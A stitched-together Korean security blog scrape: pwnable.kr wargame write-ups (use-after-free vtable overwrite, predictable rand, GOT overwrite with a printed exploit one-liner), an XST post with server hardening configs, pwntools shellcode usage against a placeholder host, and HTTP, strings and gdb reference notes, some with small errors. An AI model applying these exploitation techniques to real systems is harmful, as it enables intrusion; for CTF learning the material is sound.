문제 화면입니다.

서버에 접속해서 문제를 확인해봅니다.


#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
virtual void give_shell(){
system("/bin/sh");
}
protected:
int age;
string name;
public:
virtual void introduce(){
cout << "My name is " << name << endl;
cout << "I am " << age << " years old" << endl;
}
};

class Man: public Human{
public:
Man(string name, int age){
this->name = name;
this->age = age;
        }
        virtual void introduce(){
Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
Human* m = new Man("Jack", 25);
Human* w = new Woman("Jill", 21);

size_t len;
char* data;
unsigned int op;
while(1){
cout << "1. use\n2. after\n3. free\n";
cin >> op;

switch(op){
case 1:
m->introduce();
w->introduce();
break;
case 2:
len = atoi(argv[1]);
data = new char[len];
read(open(argv[2], O_RDONLY), data, len);
cout << "your data is allocated" << endl;
break;
case 3:
delete m;
delete w;
break;
default:
break;
}
}

return 0;
}

소스코드는 이렇습니다. uaf 취약점에 대한 문제라고 생각이 됩니다.

uaf란 Use After Free의 약어로 Heap 영역에서 발생하는 취약점 입니다.

동적할당시 free하고 전에 free한 메모리와 같은 크기의 메모리를 재할당을 할때 그 메모리 주소에 재할당을 합니다. 

이를 이용해 문제를 풀어보도록 하겠습니다.


gdb로 디버깅을 하면 아래와 같습니다.



uaf.cpp를 보면 case라는 분기문이 있습니다. 

op라는 값으로 1,2,3을 확인하는데 main+241 부분부터 보면 2,3,1 순서로 비교하는 코드가 있습니다.




1을 비교하는 부분을 살펴보기 위해 아래와 같이 bp를 걸어봤습니다.




그리고 run 후 1을 선택합니다.



$rax에는 1이 입력되었습니다. 이제 비교를 하겠네요.


비교하기전에 먼저 main함수를 다시 살펴보겠습니다.



rax가 1이니 main+258에서 main+265로 jump 할 것 입니다. 



이를 분석해보면 $rbp-0x38에는 0x0199d040이라는 주소가 들어있고 이주소는 0x401570을 가리킵니다. 

이 값은 Human클래스에 있는 give_shell()이란 함수입니다.

이를 통해 쉘을 따도록 해야하는것 같습니다.

다시 내용으로 돌아와서 main함수를 해석해보면 rbp-0x38이 가리키는 주소(0x0199d040)를 $rax에 mov합니다. 

그리고 다시 $rax가 가리키는 주소(0x401570)를 $rax에 mov합니다. 그리고 $rax+8(0x401578)을 $rax에 mov합니다. 

그리고 rdx에 함수 주소를 mov한 후 호출합니다. 이 함수는 introduce()입니다. 

저 rdx 값이 give_shell()이란 함수로 바뀌면 쉘을 딸 수 있습니다. 이제 어떻게 저기에 원하는 값을 입력할지 고민을 해봅시다.

분기문에서 2를 입력하면 argv[2]로 들어온 인자의 값을 이름으로 하는 파일을 read하고 data에 argv[1]의 인자로 들어온 값만큼 값을 읽어옵니다.


[$rbp-0x38]+0x8 = 0x401578

X + 0x8 = 0x401570

따라서 X = 0x401568 입니다.


/tmp/sso/file 이라는 파일을 생성합니다.



그리고 인자를 주어 실행합니다.



m과 w의 동적할당을 free로 해제하고 after로 give_shell()의 주소를 재할당한 후 쉘을 딸 수 있습니다.


'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] shellshock 1p  (0) 2016.08.20
[pwnable.kr] mistake 1p  (0) 2016.08.19
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr] passcode 10p  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27

XST란 XSS가 먼저 포스팅한 httponly 옵션으로 방지 되어있을 때 사용할 수 있는 쿠키, 세션 탈취 기법입니다.


공격 조건 : 서버에서 Trace Method를 허용하고 있어야함.

  클라이언트에서는 Trace Method를 발생하여야 함.

  Response Body를 제어할 수 있어야 함.



공격 ex)

 


방어법

[Apache]
 Apache의 경우 httpd.conf 에서 아래와 같이 HTTP 메소드를 제한할 수 있습니다.

 <Directory />
 <LimitExcept GET POST>
  Order allow,deny
  deny from all
 </LimitExcept>
 </Directory>


[IIS]
 IIS의 경우 WebDAV를 중지하거나 URL Scan과 같은 툴을 사용하여 HTTP메소드 제한할 수 있습니다.
(http://technet.microsoft.com/en-US/security/cc242650.aspx#e)


[Tomcat]
WEB-INF\web.xml 에 아래와 같이 설정

<security-constraint>
   <web-resource-collection>
   <web-resource-name>Forbidden</web-resource-name>
       <url-pattern>/*</url-pattern>
       <http-method>HEAD</http-method>
       <http-method>PUT</http-method>
       <http-method>DELETE</http-method>
       <http-method>TRACE</http-method>
   </web-resource-collection>

   <auth-constraint>
       <role-name></role-name>
   </auth-constraint>
</security-constraint>





 

HTTP 응답 코드 종류

 응답 코드

설명 

100 

 Continue (클라이언트로 부터 일부 요청을 받았으며 나머지 정보를 계속 요청함)

 101

 Switching protocols

 200

 OK(요청이 성공적으로 수행되었음)

 201

 Created (PUT 메소드에 의해 원격지 서버에 파일 생성됨)

 202

 Accepted(웹 서버가 명령 수신함)

 203

 Non-authoritative information (서버가 클라이언트 요구 중 일부만 전송)

 204

 No content, (사용자 요구 처리하였으나 전송할 데이터가 없음)

 301

 Moved permanently (요구한 데이터를 변경된 타 URL에 요청함)

 302

 Not temporarily

 304

 Not modified (컴퓨터 로컬의 캐시 정보를 이용함, 대개 gif 등은 웹 서버에 요청하지 않음)

 400

 Bad request (사용자의 잘못된 요청을 처리할 수 없음)

 401

 Unauthorized (인증이 필요한 페이지를 요청한 경우)

 402

 Payment required(예약됨)

 403

 Forbidden (접근 금지, 디렉터리 리스팅 요청 및 관리자 페이지 접근 등을 차단)

 404

 Not found, (요청한 페이지 없음)

 405

 Method not allowed (혀용되지 않는 http method 사용함)

 407

 Proxy authentication required (프락시 인증 요구됨)

 408

 Request timeout (요청 시간 초과)

 410

 Gone (영구적으로 사용 금지)

 412

 Precondition failed (전체 조건 실패)

 414

 Request-URI too long (요청 URL 길이가 긴 경우임)

 500

 Internal server error (내부 서버 오류)

 501

 Not implemented (웹 서버가 처리할 수 없음)

 503

 Service unnailable (서비스 제공 불가)

 504

 Gateway timeout (게이트웨이 시간 초과)

 505

 HTTP version not supported (해당 http 버전 지원되지 않음)

 

 

HTTP 메소드 종류

 HTTP Method

전송 형태 

설명 

 GET

GET [request-uri]?query_string

HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n 

 GET 요청 방식은 URI(URL)가 가진 정보를 검색하기 위해 서버 측에 요청하는형태이다

 

 HTTP Method

전송 형태 

설명 

 POST

POST [request-uri]?query_string

HTTP/1.1\r\n

HOST:[Hostname] 혹은 [IP] \r\n

Content-Lenght:[Lenght in Bytes] \r\n 

\r\n

[query-string] 혹은 [데이터]

POST 요청 방식은 요청 URI(URL)에 폼 입력을 처리하기 위해 구성한 서버 측 스크립트(ASP, PHP, JSP 등) 혹은 CGI 프로그램으로 구성되고 Form Action과 함께 전송되는데, 이때 헤더 정보에 포함되지 않고 데이터 부분에 요청 정보가 들어가게 된다. 

 

 HTTP Method

전송 형태 

설명 

 HEAD

HEAD [request-uri] HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n 

HEAD 요청 방식은 GET과 유사한 방식이나 웹 서버에서 헤더 정보 이외에는 어떤 데이터도 보내지 않는다.

웹 서버의 다운 여부 점검(Health Check)이나 웹 서버 정보(버전 등)등을 얻기 위해 사용될 수 있다. 

 

 HTTP Method

전송 형태 

설명 

 OPTIONS

OPTIONS [request-ri]

HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n 

해당 메소드를 통해 시스템에서 지원되는 메소드 종류를 확인할 수 있다. 

 

 HTTP Method

전송 형태 

설명 

 PUT

PUT [request-uri] HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n

Content-Lenght:[Length in Bytes] \r\n

Content-Type:[Content Type] \r\n

\r\n

[데이터] 

 POST와 유사한 전송 구조를 가지기 때문에 헤더 이외에 메시지(데이터)가 함께 전송된다.

원격지 서버에 지정한 콘텐츠를 저장하기 위해 사용되며 홈페이지 변조에 많이 악용되고 있다.

 

 HTTP Method

전송 형태 

설명 

 DELETE

DELETE [request-uri] HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n

\r\n 

 원격지 웹 서버에 파일을 삭제하기 위해 사용되며 PUT과는 반대 개념의 메소드이다.

 

 HTTP Method

전송 형태 

설명 

 TRACE

TRACE [request-uri] HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n

\r\n 

원격지 서버에 Loopback(루프백) 메시지를 호출하기 위해 사용된다. 

 

 HTTP Method

전송 형태 

설명 

 CONNECT

CONNECT [request-uri] HTTP/1.1\r\n

Host:[Hostname] 혹은 [IP] \r\n

\r\n 

 웹 서버에 프락시 기능을 요청할 때 사용된다.


출처 : http://gyrfalcon.tistory.com/entry/HTTP-%EC%9D%91%EB%8B%B5-%EC%BD%94%EB%93%9C-%EC%A2%85%EB%A5%98-HTTP-%EB%A9%94%EC%86%8C%EB%93%9C-%EC%A2%85%EB%A5%98


'HACKING > Web hacking' 카테고리의 다른 글

php extract 취약점  (3) 2017.08.09
error based sql injection cheat sheet  (0) 2017.04.20
웹 방화벽에서 xss차단룰에 alert(*)가 있을때 우회 하기  (0) 2016.10.08
XST(Cross Site Tracing) 공격  (0) 2016.08.10
httponly 속성  (0) 2016.08.10

일반적으로 클라이언트 브라우저에서 자바스크립트를 이용하여 쿠키 값을 생성,변경,확인이 가능합니다. 

브라우저에서 쿠키 값에 대한 스크립트 요청을 씹도록 할 수 있는 것(쿠키 하이재킹을 방지)이 httponly입니다.



ms 공식문서


php 설정 문서





1. Install metaspoit


아래의 링크로 들어가시면 맥에서 gui환경으로 metasploit을 설치할 수 있습니다.

DownLoad



2. Start metasploit


/opt/metasploit-framework/bin/msfconsole



3. alias


위 명령은 너무 길기 때문에 alias로 별명을 짓습니다.

alias msfconsole='/opt/metasploit-framework/bin/msfconsole'


그리고 이제 실행해 보시기 바랍니다.

usage:
from pwn import *
context(arch = 'i386', os = 'linux')

r = remote('exploitme.example.com', 31337)
# EXPLOIT CODE GOES HERE
r.send(asm(shellcraft.sh()))
r.interactive()


도큐먼트


 Our documentation is available at pwntools.readthedocs.org 
 To get you started, we've provided some example solutions for past CTF challenges in our write-ups repository. 


설치방법

 $ pip install pwn


ctf할때 유용하게 사용할 수 있는 툴입니다. 
python 2.7버전을 권장합니다.



문제에 접속해보겠습니다.


소스 코드를 읽어보면 rand 함수를 random이라는 변수에 초기화 시켜줍니다.

사용자에게 입력을 받고 그 값을 random과 XOR 했을때 0xdeadbeef가 되면 flag파일을 읽도록 합니다.


key ^ random = 0xdeadbeef 인데 식을 바꾸면

key = random ^ 0xdeadbeef 로 key를 알아낼 수 있습니다. rand()함수에 seed값을 주지 않으면 항상 같은 값이 나옵니다.(랜덤이라고 할 수 없겠죠.)


gdb로 random에 들어간 값을 찾아보겠습니다.


브레이크 포인트를 main+43에 걸고 파일을 실행하여 rbp-0x4에 들어있는 값을 보면 0x6b8b4567 입니다.

이 값과 0xdeadbeef를 XOR 연산하여 key 값으로 입력하면 flag파일을 열 수 있습니다.

0x6b8b4567 ^ 0xdeadbeef = 0xb526fb88 이군요 이를 10진수로 변환하면

=> 3039230856 입니다.




(추가)다른 풀이가 존재하여 적습니다.


ltrace 라는 툴을 이용해 rand값을 찾을 수 있습니다.


rand 함수의 라이브러리를 호출합니다. 뒤의 0x6b8b4567이라는 random 값이 있습니다.




'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pwnable.kr] passcode 10p  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27
[pwanble.kr 1번] fd 1pt  (0) 2016.07.27

이번 문제는 "컴파일러 경고를 누가 신경쓸까?" 라는 내용의 문제네요..

컴파일러 경고가 힌트인가봅니다.


소스코드를 자세히 살펴보면 scanf에 &가 없습니다. 여기서 compiler warning이 떴겠네요. 저 부분에서 문제를 해결 해보도록 하겠습니다.


하라는대로 했는데 seg fault에러가 뜹니다.

먼저 scanf 사용시 대상 변수가 char로 선언되어 있는 경우 초기 값은 주소와 동일하기 때문에 ‘&’ 없이 그냥 사용해도 됩니다. 반면 int로 선언되어 있는 경우 ‘&’ 없이 사용하면 변수자체가 주소가 되며 그 주소에 입력한 값이 들어갑니다.

그리고 리눅스에서 fflush의 인자로 표준 입력이 들어 오면 아무런 동작을 하지 않는다고 합니다.

즉, 리눅스에서는 fflush에 의해 ‘\n’이 버퍼에서 비워지지 않기 때문에 다음과 같이 프로그램을 실행하면 passcode1=338150, passcode2=’\n’이 됩니다.

welcome() 함수의 name은 ebp-0x70에 위치합니다. 100글자를 입력할 수 있습니다.


login()함수의 passcode1은  $ebp-0x10에 위치합니다. 0x70-0x10=0x60=96 이므로 총 4바이트를 조작할 수 있습니다. 

따라서 fflsuh의 GOT를 조작하여 system(“/bin/cat flag”)로 이동시키면 문제가 풀립니다.

("A"*96+exit@got) 값으로 name을 채우고 passcode에 system(“/bin/cat flag”) 주소를 주면 됩니다.


먼저 exit 함수의 주소는 readelf로 확인합니다.


exit => 0x0804a018


system("/bin/cat flag")의 주소는 gdb로 확인합니다.

=> 0x080485e3

이것을 10진수로 변환해서 입력해줍니다. 

그리고 seg fault가 발생하는것을 막기위해 passcode2에 문자를 입력하면 됩니다.


(python -c 'print "A"*96+"\x18\xa0\x04\x08"+"134514147\n"+"a\n"';cat) | ./passcode


flag가 나왔습니다. 

정말 어렵네요..


'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] mistake 1p  (0) 2016.08.19
[pwnable.kr] uaf 8p  (0) 2016.08.15
[pnwable.kr] random 1pt  (0) 2016.07.29
[pwnable.kr 2번] collision 3pt  (0) 2016.07.27
[pwanble.kr 1번] fd 1pt  (0) 2016.07.27

strings는 바이너리 파일에서 문자열을 추출하기 위한 툴입니다.


grep을 이용하여 원하는 문자열을 빠르게 확인할 수 있습니다.


ex)

 SSo@ubuntu: ~ $ stirngs [파일명] | grep [검색할 문자열]


1. 문자열의 위치 출력

-tx, -td, to 옵션을 사용하면 각각 16진수, 10진수, 8진수로 문자열의 위치를 출력함


-t 옵션 예

SSo@ubuntu: ~ $ stirngs -tx [파일명] | head -5

SSo@ubuntu: ~ $ stirngs -td [파일명] | head -5

SSo@ubuntu: ~ $ stirngs -to [파일명] | head -5



$man strings

NAME

       strings - find the printable strings in a object, or other binary, file


SYNOPSIS

       strings [ - ] [ -a ] [ -o ] [ -t format ] [ -number ] [ -n number ] [--] [file ...]


DESCRIPTION

       Strings  looks  for  ASCII  strings  in  a binary file or standard input.  Strings is useful for identifying random

       object files and many other things.  A string is any sequence of 4 (the default) or more printing characters ending

       with a newline or a null.  Unless the - flag is given, strings looks in all sections of the object files except the

       (__TEXT,__text) section.  If no files are specified standard input is read.


       The file arguments may be of the form libx.a(foo.o), to request information about only that object file and not the

       entire library.   (Typically this argument must be quoted, ``libx.a(foo.o)'', to get it past the shell.)


       The options to strings(1) are:


       -a     This  option  causes  strings  to  look  for  strings  in  all  sections  of  the object file (including the

              (__TEXT,__text) section.


       -      This option causes strings to look for strings in all bytes of the files (the default for non-object files).


       --     This option causes strings to treat all the following arguments as files.


       -o     Preceded each string by its offset in the file (in decimal).


       -t format

              Write  each string preceded by its byte offset from the start of the file.  The format shall be dependent on

              the single character used as the format option-argument:


       d      The offset shall be written in decimal.


       o      The offset shall be written in octal.


       x      The offset shall be written in hexadecimal.


       -number

              The decimal number is used as the minimum string length rather than the default of 4.


       -n number

              Specify the minimum string length, where the number argument is a  positive  decimal  integer.  The  default

              shall be 4.


       -arch arch_type

              Specifies the architecture, arch_type, of the file for strings(1) to operate on when the file is a universal

              file.  (See arch(3) for the currently know arch_types.)  The arch_type can be "all" to operate on all archi-

              tectures in the file.


SEE ALSO

       od(1)


BUGS

       The algorithm for identifying strings is extremely primitive.

'OS > linux' 카테고리의 다른 글

/proc/self/cwd  (0) 2019.05.09
프로세스에서 사용중인 파일 디스크립터 찾기  (0) 2018.07.20
리눅스 넘버링?  (0) 2018.03.27
리눅스 세션 연결 시 history 자동 삭제하기  (0) 2018.03.20
vim 화면 스크롤  (0) 2018.02.15

gdb의 기본적인 명령어 입니다.


 순번

명령어 

설명 

1 

gdb 파일명 

해당 파일을 gdb로 열기 

2 

list = ("l")

gcc 컴파일 시 -ggdb 옵션을 지정한 경우 소스 확인 가능 

3 

disas 주소/함수 

해당 함수를 디스어셈블해 실행 

4 

run = (r)

해당 파일을 실행 

5 

continue = ("c")

브레이크가 걸린 상태에서 계속 실행 

6 

break 주소/함수명 

주소나 함수에 브레이크 포인트를 걸기 

7 

x/32x 주소

주소에서 32개를 16진수로 출력(x/32s는 문자열) 

8  

info registers = ("i r")

레지스터의 값을 출력 

9 

nexti = ("n i")

함수 내부로 들어가면서 한 라인 실행 

10 

stepi = ("s i")

함수 내부로 들어가면서 한 라인 실행 

11 

help 

도움말 출력 

12 

backtrace 

프로그램 실행의 스택 추적 결과 출력 

13 

quit

종료


*7번 자세히..

- x/"범위""출력형식""범위의단위" "메모리주소 또는 함수명"

- 출력형식 : x (16진수), s (문자열), I (명령어)

- 범위의단위 : b (1byte), h(2byte), w(4byte), g(8byte)

 

*실행예제

ex) x/20wx $esp : esp가 가리키는 메모리부터 높은 주소쪽으로 4byte 씩 20개 출력

+ Recent posts